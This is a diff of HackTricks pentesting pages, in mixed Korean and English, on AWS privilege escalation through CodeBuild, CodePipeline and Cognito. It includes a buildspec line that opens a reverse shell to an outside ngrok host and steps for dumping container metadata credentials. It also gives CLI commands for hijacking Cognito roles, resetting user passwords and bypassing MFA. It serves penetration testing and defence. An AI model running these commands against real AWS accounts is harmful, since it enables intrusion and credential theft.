-**잠재적 영향:** 연결된 AWS Codebuild 역할에 대한 직접적인 권한 상승. +**잠재적 영향:** 연결된 AWS Codebuild 역할로의 직접적인 privesc. ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -**`iam:PassRole`, `codebuild:CreateProject`, 및 `codebuild:StartBuild` 또는 `codebuild:StartBuildBatch`** 권한을 가진 공격자는 실행 중인 코드를 생성하여 **모든 codebuild IAM 역할로 권한을 상승시킬 수 있습니다**. +**`iam:PassRole`, `codebuild:CreateProject`, and `codebuild:StartBuild` or `codebuild:StartBuildBatch`** 권한을 가진 공격자는 실행 중인 CodeBuild 프로젝트를 생성함으로써 **escalate privileges to any codebuild IAM role** 할 수 있습니다. {{#tabs }} {{#tab name="Example1" }} @@ -171,20 +171,20 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data {{#endtab }} {{#endtabs }} -**잠재적 영향:** 모든 AWS Codebuild 역할에 대한 직접적인 권한 상승. +**잠재적 영향:** Direct privesc to any AWS Codebuild role. > [!WARNING] -> **Codebuild 컨테이너**에서 파일 `/codebuild/output/tmp/env.sh`는 **메타데이터 자격 증명**에 접근하는 데 필요한 모든 환경 변수를 포함합니다. +> Codebuild 컨테이너에서는 파일 `/codebuild/output/tmp/env.sh`에 메타데이터 자격 증명에 접근하는 데 필요한 모든 env vars가 포함되어 있다. -> 이 파일에는 **자격 증명에 접근하기 위한 URL 경로**를 포함하는 **환경 변수 `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**가 포함되어 있습니다. 이는 `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`와 같은 형식일 것입니다. +> 이 파일에는 **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**가 들어 있으며, 자격 증명에 접근하기 위한 **URL path**을 포함한다. 예시는 `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`와 같다. -> 이를 URL **`http://169.254.170.2/`**에 추가하면 역할 자격 증명을 덤프할 수 있습니다. +> 해당 값을 **`http://169.254.170.2/`**에 추가하면 role credentials를 덤프할 수 있다. -> 또한, **컨테이너에 대한 메타데이터 정보를 얻기 위한 전체 URL**을 포함하는 **환경 변수 `ECS_CONTAINER_METADATA_URI`**도 포함되어 있습니다. +> 또한 **env variable `ECS_CONTAINER_METADATA_URI`**가 포함되어 있어 컨테이너에 대한 **메타데이터 정보**를 얻기 위한 전체 URL을 제공한다. ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -이전 섹션과 마찬가지로, 빌드 프로젝트를 생성하는 대신 수정할 수 있다면 IAM 역할을 지정하고 토큰을 훔칠 수 있습니다. +이전 섹션과 마찬가지로, build project를 생성하는 대신 수정할 수 있다면, IAM Role을 지정하여 token을 탈취할 수 있다. ```bash REV_PATH="/tmp/codebuild_pwn.json" @@ -218,11 +218,11 @@ aws codebuild update-project --name codebuild-demo-project --cli-input-json file aws codebuild start-build --project-name codebuild-demo-project ``` -**잠재적 영향:** 모든 AWS Codebuild 역할에 대한 직접적인 권한 상승. +**잠재적 영향:** 모든 AWS Codebuild 역할에 대한 직접 privesc. ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -이전 섹션과 유사하지만 **`iam:PassRole` 권한 없이**, 이 권한을 악용하여 **기존 Codebuild 프로젝트를 수정하고 이미 할당된 역할에 접근할 수 있습니다**. +이전 섹션과 유사하지만 **`iam:PassRole` 권한 없이**, 이 권한들을 악용하면 **기존 Codebuild 프로젝트를 수정하고 이미 할당된 역할에 접근할 수 있습니다**. {{#tabs }} {{#tab name="StartBuild" }} @@ -298,13 +298,13 @@ aws codebuild start-build-batch --project-name codebuild-demo-project {{#endtab }} {{#endtabs }} -**잠재적 영향:** 연결된 AWS Codebuild 역할에 대한 직접적인 권한 상승. +**잠재적 영향:** Direct privesc to attached AWS Codebuild roles. ### SSM -**SSM 세션을 시작할 수 있는 충분한 권한**이 있으면 **구축 중인 Codebuild 프로젝트**에 접근할 수 있습니다. +**ssm session을 시작할 수 있는 충분한 권한**이 있으면, 빌드 중인 **Codebuild project 내부로 들어갈 수 있습니다.** -Codebuild 프로젝트는 중단점이 필요합니다: +The codebuild project will need to have a breakpoint:
phases:
 pre_build:
@@ -314,18 +314,18 @@ commands:
       - codebuild-breakpoint
 
-그리고 나서: +그 다음: ```bash aws codebuild batch-get-builds --ids --region --output json aws ssm start-session --target --region ``` -더 많은 정보는 [**문서 확인**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html)을 참조하세요. +자세한 정보는 [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` -특정 CodeBuild 프로젝트의 빌드를 시작/재시작할 수 있는 공격자는 공격자가 쓰기 권한이 있는 S3 버킷에 `buildspec.yml` 파일을 저장하는 경우, CodeBuild 프로세스에서 명령 실행을 얻을 수 있습니다. +특정 CodeBuild 프로젝트의 빌드를 시작/재시작할 수 있는 attacker가, 그 프로젝트가 `buildspec.yml` 파일을 공격자가 write access를 가진 S3 버킷에 저장해두고 있다면, CodeBuild 프로세스에서 명령 실행을 얻을 수 있습니다. -참고: 권한 상승은 CodeBuild 작업자가 공격자의 역할과 다르고, 더 높은 권한을 가진 경우에만 관련이 있습니다. +Note: 이 권한 상승은 CodeBuild worker가 attacker의 것과 다른 역할(가능하면 더 권한이 높은 역할)을 가질 때만 관련됩니다. ```bash aws s3 cp s3:///buildspec.yml ./ @@ -351,13 +351,13 @@ build: commands: - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 ``` -**Impact:** AWS CodeBuild 작업자가 사용하는 역할로의 직접적인 권한 상승, 일반적으로 높은 권한을 가집니다. +**Impact:** 일반적으로 높은 권한을 가진 AWS CodeBuild worker가 사용하는 역할에 대한 직접 privesc. > [!WARNING] -> buildspec이 zip 형식으로 예상될 수 있으므로, 공격자는 루트 디렉토리에서 `buildspec.yml`을 다운로드, 압축 해제, 수정한 후 다시 압축하고 업로드해야 합니다. +> buildspec은 zip 형식일 수 있으므로, 공격자는 루트 디렉토리에서 `buildspec.yml`을 다운로드해 압축을 풀고 수정한 뒤 다시 압축하여 업로드해야 합니다 -자세한 내용은 [여기](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/)에서 확인할 수 있습니다. +자세한 내용은 [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/)에서 확인할 수 있습니다. -**Potential Impact:** 연결된 AWS Codebuild 역할로의 직접적인 권한 상승. +**Potential Impact:** 첨부된 AWS Codebuild 역할에 대한 직접 privesc. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md deleted file mode 100644 index 8a05e3ecf..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - Codepipeline Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## codepipeline - -codepipeline에 대한 자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md -{{#endref}} - -### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution` - -코드 파이프라인을 생성할 때 **실행할 codepipeline IAM 역할**을 지정할 수 있으므로, 이를 통해 권한을 탈취할 수 있습니다. - -이전 권한 외에도 **코드가 저장된 위치에 대한 접근 권한**이 필요합니다 (S3, ECR, github, bitbucket...) - -웹 페이지에서 이 과정을 테스트했으며, 이전에 언급된 권한은 코드 파이프라인을 생성하는 데 필요한 List/Get 권한이 아니지만, 웹에서 생성하려면 다음도 필요합니다: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` - -**빌드 프로젝트를 생성하는 동안** **실행할 명령**(rev shell?)을 지정하고 빌드 단계를 **특권 사용자**로 실행하도록 설정할 수 있습니다. 이는 공격자가 권한을 탈취하는 데 필요한 구성입니다: - -![](<../../../images/image (276).png>) - -![](<../../../images/image (181).png>) - -### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution` - -이전 권한으로 코드 파이프라인에서 사용되는 역할과 실행된 명령을 수정할 수 있을지도 모릅니다. - -### `codepipeline:pollforjobs` - -[AWS는 언급합니다](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): - -> 이 API가 호출되면, CodePipeline은 **파이프라인의 아티팩트를 저장하는 S3 버킷에 대한 임시 자격 증명**을 반환합니다. 이 작업이 입력 또는 출력 아티팩트에 대한 S3 버킷 접근을 요구하는 경우입니다. 이 API는 또한 **작업에 대해 정의된 모든 비밀 값**을 반환합니다. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md new file mode 100644 index 000000000..4d17b21e0 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md @@ -0,0 +1,37 @@ +# AWS - Codepipeline Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## codepipeline + +For more info about codepipeline check: + +{{#ref}} +../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +{{#endref}} + +### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution` + +When creating a code pipeline you can indicate a **codepipeline IAM Role to run**, therefore you could compromise them. + +Apart from the previous permissions you would need **access to the place where the code is stored** (S3, ECR, github, bitbucket...) + +I tested this doing the process in the web page, the permissions indicated previously are the not List/Get ones needed to create a codepipeline, but for creating it in the web you will also need: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` + +During the **creation of the build project** you can indicate a **command to run** (rev shell?) and to run the build phase as **privileged user**, that's the configuration the attacker needs to compromise: + +![](<../../../images/image (276).png>) + +![](<../../../images/image (181).png>) + +### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution` + +It might be possible to modify the role used and the command executed on a codepipeline with the previous permissions. + +### `codepipeline:pollforjobs` + +[AWS mentions](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): + +> 이 API가 호출되면, CodePipeline은 파이프라인의 아티팩트를 저장하는 S3 버킷에 대해 해당 액션이 입력 또는 출력 아티팩트에 접근해야 하는 경우 그 S3 버킷에 대한 **임시 자격 증명**을 반환합니다. 이 API는 또한 해당 액션에 정의된 **모든 secret 값**을 반환합니다. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md deleted file mode 100644 index fd966710f..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md +++ /dev/null @@ -1,274 +0,0 @@ -# AWS - Cognito Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Cognito - -Cognito에 대한 자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-cognito-enum/ -{{#endref}} - -### Identity Pool에서 자격 증명 수집 - -Cognito는 **인증된** 및 **비인증된** **사용자** 모두에게 **IAM 역할 자격 증명**을 부여할 수 있으므로, 애플리케이션의 **Identity Pool ID**를 찾으면 (애플리케이션에 하드코딩되어 있어야 함) 새로운 자격 증명을 얻을 수 있으며, 따라서 privesc를 수행할 수 있습니다 (이전에 자격 증명이 없었던 AWS 계정 내에서). - -자세한 내용은 [**이 페이지를 확인하세요**](../aws-unauthenticated-enum-access/#cognito). - -**잠재적 영향:** 비인증 사용자에게 연결된 서비스 역할로의 직접적인 privesc (아마도 인증 사용자에게 연결된 역할로도). - -### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole` - -이 권한을 사용하면 Cognito 앱의 인증된/비인증된 사용자에게 **모든 Cognito 역할**을 부여할 수 있습니다. -```bash -aws cognito-identity set-identity-pool-roles \ ---identity-pool-id \ ---roles unauthenticated= - -# Get credentials -## Get one ID -aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367" -## Get creds for that id -aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" -``` -Cognito 앱이 **비인증 사용자 사용이 활성화되어 있지 않다면** `cognito-identity:UpdateIdentityPool` 권한이 필요할 수 있습니다. - -**잠재적 영향:** 모든 Cognito 역할에 대한 직접적인 권한 상승. - -### `cognito-identity:update-identity-pool` - -이 권한을 가진 공격자는 예를 들어 자신의 제어 하에 있는 Cognito 사용자 풀 또는 로그인할 수 있는 다른 신원 제공자를 설정할 수 있습니다. 그런 다음, 해당 사용자 제공자에서 **로그인**하면 **Identity Pool에 구성된 인증된 역할에 접근할 수 있게 됩니다.** -```bash -# This example is using a Cognito User Pool as identity provider -## but you could use any other identity provider -aws cognito-identity update-identity-pool \ ---identity-pool-id \ ---identity-pool-name \ -[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \ ---cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false - -# Now you need to login to the User Pool you have configured -## after having the id token of the login continue with the following commands: - -# In this step you should have already an ID Token -aws cognito-identity get-id \ ---identity-pool-id \ ---logins cognito-idp..amazonaws.com/= - -# Get the identity_id from thr previous commnad response -aws cognito-identity get-credentials-for-identity \ ---identity-id \ ---logins cognito-idp..amazonaws.com/= -``` -이 권한을 **악용하여 기본 인증을 허용하는** 것도 가능합니다: -```bash -aws cognito-identity update-identity-pool \ ---identity-pool-id \ ---identity-pool-name \ ---allow-unauthenticated-identities ---allow-classic-flow -``` -**잠재적 영향**: 아이덴티티 풀 내에서 구성된 인증된 IAM 역할이 손상됩니다. - -### `cognito-idp:AdminAddUserToGroup` - -이 권한은 **Cognito 사용자를 Cognito 그룹에 추가**할 수 있도록 허용합니다. 따라서 공격자는 이 권한을 악용하여 자신의 통제 하에 있는 사용자를 **더 나은** 권한이나 **다른 IAM 역할**이 있는 다른 그룹에 추가할 수 있습니다. -```bash -aws cognito-idp admin-add-user-to-group \ ---user-pool-id \ ---username \ ---group-name -``` -**잠재적 영향:** 다른 Cognito 그룹 및 사용자 풀 그룹에 연결된 IAM 역할로의 권한 상승. - -### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole` - -이 권한을 가진 공격자는 **손상된 Cognito Identity Provider**에서 사용할 수 있는 **모든 IAM 역할**로 **그룹을 생성/업데이트**하고 손상된 사용자를 그룹의 일원으로 만들어 모든 역할에 접근할 수 있습니다: -```bash -aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn -``` -**잠재적 영향:** 다른 Cognito IAM 역할로의 권한 상승. - -### `cognito-idp:AdminConfirmSignUp` - -이 권한은 **가입을 확인**할 수 있게 해줍니다. 기본적으로 누구나 Cognito 애플리케이션에 로그인할 수 있으며, 이를 방치하면 사용자가 임의의 데이터로 계정을 생성하고 이 권한으로 확인할 수 있습니다. -```bash -aws cognito-idp admin-confirm-sign-up \ ---user-pool-id \ ---username -``` -**잠재적 영향:** 새로운 사용자를 등록할 수 있는 경우 인증된 사용자를 위한 ID 풀 IAM 역할에 대한 간접적인 권한 상승. 모든 계정을 확인할 수 있는 다른 앱 기능에 대한 간접적인 권한 상승. - -### `cognito-idp:AdminCreateUser` - -이 권한은 공격자가 사용자 풀 내에 새로운 사용자를 생성할 수 있도록 허용합니다. 새로운 사용자는 활성화된 상태로 생성되지만 비밀번호를 변경해야 합니다. -```bash -aws cognito-idp admin-create-user \ ---user-pool-id \ ---username \ -[--user-attributes ] ([Name=email,Value=email@gmail.com]) -[--validation-data ] -[--temporary-password ] -``` -**잠재적 영향:** 인증된 사용자를 위한 ID 풀 IAM 역할에 대한 직접적인 권한 상승. 모든 사용자를 생성할 수 있는 다른 앱 기능에 대한 간접적인 권한 상승. - -### `cognito-idp:AdminEnableUser` - -이 권한은 공격자가 비활성화된 사용자의 자격 증명을 발견하고 **다시 활성화해야 하는** 매우 극단적인 경우에 도움이 될 수 있습니다. -```bash -aws cognito-idp admin-enable-user \ ---user-pool-id \ ---username -``` -**잠재적 영향:** 공격자가 비활성 사용자에 대한 자격 증명을 가지고 있다면 인증된 사용자의 ID 풀 IAM 역할 및 사용자 권한에 대한 간접적인 권한 상승이 발생할 수 있습니다. - -### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`** - -이 권한은 [**ADMIN_USER_PASSWORD_AUTH 방법으로 로그인하는 것을 허용합니다**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** 더 많은 정보는 링크를 따라가세요. - -### `cognito-idp:AdminSetUserPassword` - -이 권한은 공격자가 **모든 사용자의 비밀번호를 변경할 수 있게 하여**, MFA가 활성화되지 않은 사용자를 가장할 수 있게 합니다. -```bash -aws cognito-idp admin-set-user-password \ ---user-pool-id \ ---username \ ---password \ ---permanent -``` -**잠재적 영향:** 직접적인 권한 상승으로 인해 잠재적으로 모든 사용자에게 접근할 수 있으며, 각 사용자가 속한 모든 그룹에 대한 접근과 Identity Pool 인증된 IAM 역할에 대한 접근이 가능합니다. - -### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool` - -**AdminSetUserSettings**: 공격자는 이 권한을 악용하여 자신의 제어 하에 있는 모바일 전화번호를 **사용자의 SMS MFA**로 설정할 수 있습니다. -```bash -aws cognito-idp admin-set-user-settings \ ---user-pool-id \ ---username \ ---mfa-options -``` -**SetUserMFAPreference:** 이전과 유사하게 이 권한은 사용자의 MFA 설정을 변경하여 MFA 보호를 우회하는 데 사용할 수 있습니다. -```bash -aws cognito-idp admin-set-user-mfa-preference \ -[--sms-mfa-settings ] \ -[--software-token-mfa-settings ] \ ---username \ ---user-pool-id -``` -**SetUserPoolMfaConfig**: 이전과 유사하게 이 권한은 MFA 보호를 우회하기 위해 사용자 풀의 MFA 기본 설정을 설정하는 데 사용할 수 있습니다. -```bash -aws cognito-idp set-user-pool-mfa-config \ ---user-pool-id \ -[--sms-mfa-configuration ] \ -[--software-token-mfa-configuration ] \ -[--mfa-configuration ] -``` -**UpdateUserPool:** 사용자 풀을 업데이트하여 MFA 정책을 변경하는 것도 가능합니다. [여기에서 cli 확인](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). - -**Potential Impact:** 공격자가 자격 증명을 알고 있는 모든 사용자에게 간접적인 권한 상승이 가능하며, 이는 MFA 보호를 우회할 수 있게 할 수 있습니다. - -### `cognito-idp:AdminUpdateUserAttributes` - -이 권한을 가진 공격자는 자신의 제어 하에 있는 사용자의 이메일, 전화번호 또는 기타 속성을 변경하여 기본 애플리케이션에서 더 많은 권한을 얻으려고 시도할 수 있습니다.\ -이를 통해 이메일 또는 전화번호를 변경하고 이를 확인된 것으로 설정할 수 있습니다. -```bash -aws cognito-idp admin-update-user-attributes \ ---user-pool-id \ ---username \ ---user-attributes -``` -**잠재적 영향:** 사용자 속성에 따라 권한을 부여하는 Cognito 사용자 풀을 사용하는 기본 애플리케이션에서 잠재적인 간접 권한 상승. - -### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` - -이 권한을 가진 공격자는 **기존 풀 클라이언트보다 덜 제한된 새로운 사용자 풀 클라이언트를 생성**할 수 있습니다. 예를 들어, 새로운 클라이언트는 인증하는 데 어떤 방법이든 허용하고, 비밀이 없으며, 토큰 철회가 비활성화되고, 토큰이 더 긴 기간 동안 유효하도록 허용할 수 있습니다... - -새로운 클라이언트를 생성하는 대신 **기존 클라이언트를 수정**하는 경우에도 동일한 작업을 수행할 수 있습니다. - -[**명령줄**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (또는 [**업데이트**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html))에서 모든 옵션을 확인할 수 있습니다. 확인해 보세요! -```bash -aws cognito-idp create-user-pool-client \ ---user-pool-id \ ---client-name \ -[...] -``` -**잠재적 영향:** User Pool에 의해 사용되는 Identity Pool의 권한 있는 사용자에 대한 잠재적인 간접적인 권한 상승으로, 보안 조치를 완화하는 새로운 클라이언트를 생성하여 공격자가 자신이 생성할 수 있는 사용자로 로그인할 수 있게 합니다. - -### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob` - -공격자는 이 권한을 악용하여 새로운 사용자가 포함된 csv 파일을 업로드하여 사용자를 생성할 수 있습니다. -```bash -# Create a new import job -aws cognito-idp create-user-import-job \ ---job-name \ ---user-pool-id \ ---cloud-watch-logs-role-arn - -# Use a new import job -aws cognito-idp start-user-import-job \ ---user-pool-id \ ---job-id - -# Both options before will give you a URL where you can send the CVS file with the users to create -curl -v -T "PATH_TO_CSV_FILE" \ --H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" -``` -(새로운 가져오기 작업을 생성하는 경우 iam passrole 권한이 필요할 수 있으며, 아직 테스트하지 않았습니다). - -**잠재적 영향:** 인증된 사용자를 위한 아이덴티티 풀 IAM 역할로의 직접적인 권한 상승. 모든 사용자를 생성할 수 있는 다른 앱 기능으로의 간접적인 권한 상승. - -### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider` - -공격자는 새로운 아이덴티티 공급자를 생성하여 **이 공급자를 통해 로그인**할 수 있습니다. -```bash -aws cognito-idp create-identity-provider \ ---user-pool-id \ ---provider-name \ ---provider-type \ ---provider-details \ -[--attribute-mapping ] \ -[--idp-identifiers ] -``` -**잠재적 영향:** 인증된 사용자를 위한 ID 풀 IAM 역할에 대한 직접적인 권한 상승. 모든 사용자를 생성할 수 있는 다른 앱 기능에 대한 간접적인 권한 상승. - -### cognito-sync:\* 분석 - -이는 Cognito Identity Pools의 역할에서 기본적으로 매우 일반적인 권한입니다. 권한에 와일드카드가 있는 것은 항상 나쁘게 보이지만 (특히 AWS에서 오는 경우), **주어진 권한은 공격자의 관점에서 그리 유용하지 않습니다**. - -이 권한은 Identity Pools의 사용자 정보와 Identity Pools 내의 Identity ID를 읽을 수 있게 해줍니다 (이는 민감한 정보가 아닙니다).\ -Identity ID는 세션의 정보인 [**데이터 세트**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html)가 할당될 수 있으며, AWS는 이를 **저장된 게임**으로 정의합니다. 이 데이터 세트에 어떤 종류의 민감한 정보가 포함될 가능성이 있지만 (확률은 매우 낮습니다), 이 정보를 접근하는 방법은 [**열거 페이지**](../aws-services/aws-cognito-enum/)에서 확인할 수 있습니다. - -공격자는 이러한 권한을 사용하여 **이 데이터 세트에서 변경 사항을 게시하는 Cognito 스트림에 자신을 등록**하거나 **Cognito 이벤트에서 트리거되는 Lambda**를 사용할 수 있습니다. 나는 이것이 사용되는 것을 본 적이 없으며, 여기서 민감한 정보가 있을 것이라고 기대하지 않지만, 불가능한 것은 아닙니다. - -### 자동 도구 - -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS 취약점 탐지 프레임워크는 이제 계정의 모든 Cognito 자산을 열거하고 약한 구성, 접근 제어에 사용되는 사용자 속성 등을 플래그하는 "cognito\_\_enum" 및 "cognito\_\_attack" 모듈을 포함하며, 사용자 생성(여기에는 MFA 지원 포함) 및 수정 가능한 사용자 정의 속성, 사용 가능한 ID 풀 자격 증명, ID 토큰에서 가정 가능한 역할에 기반한 권한 상승을 자동화합니다. - -모듈 기능에 대한 설명은 [블로그 게시물](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) 2부를 참조하십시오. 설치 지침은 주요 [Pacu](https://github.com/RhinoSecurityLabs/pacu) 페이지를 참조하십시오. - -#### 사용법 - -주어진 ID 풀 및 사용자 풀 클라이언트에 대한 사용자 생성 및 모든 권한 상승 벡터를 시도하기 위한 샘플 cognito\_\_attack 사용법: -```bash -Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools -us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients -59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX -``` -샘플 cognito\_\_enum 사용법으로 현재 AWS 계정에서 볼 수 있는 모든 사용자 풀, 사용자 풀 클라이언트, 아이덴티티 풀, 사용자 등을 수집합니다: -```bash -Pacu (new:test) > run cognito__enum -``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner)는 privesc 상승을 포함하여 Cognito에 대한 다양한 공격을 구현하는 파이썬 기반 CLI 도구입니다. - -#### 설치 -```bash -$ pip install cognito-scanner -``` -#### 사용법 -```bash -$ cognito-scanner --help -``` -자세한 내용은 [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)를 확인하세요. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md new file mode 100644 index 000000000..90d5248e9 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md @@ -0,0 +1,274 @@ +# AWS - Cognito Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Cognito + +Cognito에 대한 자세한 정보는 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-cognito-enum/ +{{#endref}} + +### Identity Pool에서 자격 증명 수집 + +Cognito는 **IAM role credentials**을 **authenticated** 및 **unauthenticated** **users** 모두에게 부여할 수 있기 때문에, 애플리케이션의 **Identity Pool ID**를 찾을 수 있다면(보통 애플리케이션에 하드코딩되어 있습니다) 새로운 자격 증명을 얻어 AWS 계정 내부에서 privesc를 수행할 수 있습니다(아마도 이전에는 어떤 자격 증명도 없었을 계정에서). + +For more information [**check this page**](../../aws-unauthenticated-enum-access/index.html#cognito). + +**잠재적 영향:** unauth users에 연결된 services role로의 직접적인 privesc (및 아마도 auth users에 연결된 역할에도 해당). + +### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole` + +이 권한으로 cognito app의 authenticated/unauthenticated users에게 **grant any cognito role**를 부여할 수 있습니다. +```bash +aws cognito-identity set-identity-pool-roles \ +--identity-pool-id \ +--roles unauthenticated= + +# Get credentials +## Get one ID +aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367" +## Get creds for that id +aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" +``` +cognito 앱에 **비인증 사용자가 활성화되어 있지 않은 경우** 이를 활성화하려면 `cognito-identity:UpdateIdentityPool` 권한이 필요할 수 있습니다. + +**잠재적 영향:** 어떤 cognito 역할으로의 직접적인 privesc. + +### `cognito-identity:update-identity-pool` + +이 권한을 가진 공격자는 예를 들어 자신이 제어하는 Cognito User Pool이나 자신이 로그인할 수 있는 다른 identity provider를 설정하여 **이 Cognito Identity Pool에 접근하는 수단**으로 사용할 수 있습니다. 그런 다음 해당 사용자 제공자에 단순히 **로그인**하는 것만으로도 **Identity Pool에 구성된 authenticated role에 접근할 수 있게 됩니다**. +```bash +# This example is using a Cognito User Pool as identity provider +## but you could use any other identity provider +aws cognito-identity update-identity-pool \ +--identity-pool-id \ +--identity-pool-name \ +[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \ +--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false + +# Now you need to login to the User Pool you have configured +## after having the id token of the login continue with the following commands: + +# In this step you should have already an ID Token +aws cognito-identity get-id \ +--identity-pool-id \ +--logins cognito-idp..amazonaws.com/= + +# Get the identity_id from thr previous commnad response +aws cognito-identity get-credentials-for-identity \ +--identity-id \ +--logins cognito-idp..amazonaws.com/= +``` +또한 **이 권한을 악용해 basic auth를 허용할 수 있습니다**: +```bash +aws cognito-identity update-identity-pool \ +--identity-pool-id \ +--identity-pool-name \ +--allow-unauthenticated-identities +--allow-classic-flow +``` +**잠재적 영향**: identity pool 내부에 구성된 authenticated IAM role을 탈취할 수 있습니다. + +### `cognito-idp:AdminAddUserToGroup` + +이 권한은 **Cognito user를 Cognito group에 추가**할 수 있게 하므로, 공격자는 자신이 제어하는 사용자를 더 높은 권한(**더 높은 권한**)이나 **다른 IAM roles**을 가진 그룹에 추가하도록 악용할 수 있습니다: +```bash +aws cognito-idp admin-add-user-to-group \ +--user-pool-id \ +--username \ +--group-name +``` +**Potential Impact:** 다른 Cognito 그룹 및 User Pool Groups에 연결된 IAM 역할로의 Privesc. + +### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole` + +이 권한을 가진 공격자는 **그룹을 생성/업데이트**하여 **침해된 Cognito Identity Provider가 사용할 수 있는 모든 IAM 역할**을 포함시키고, 침해된 사용자를 해당 그룹의 멤버로 만들어 그 역할들에 접근할 수 있습니다: 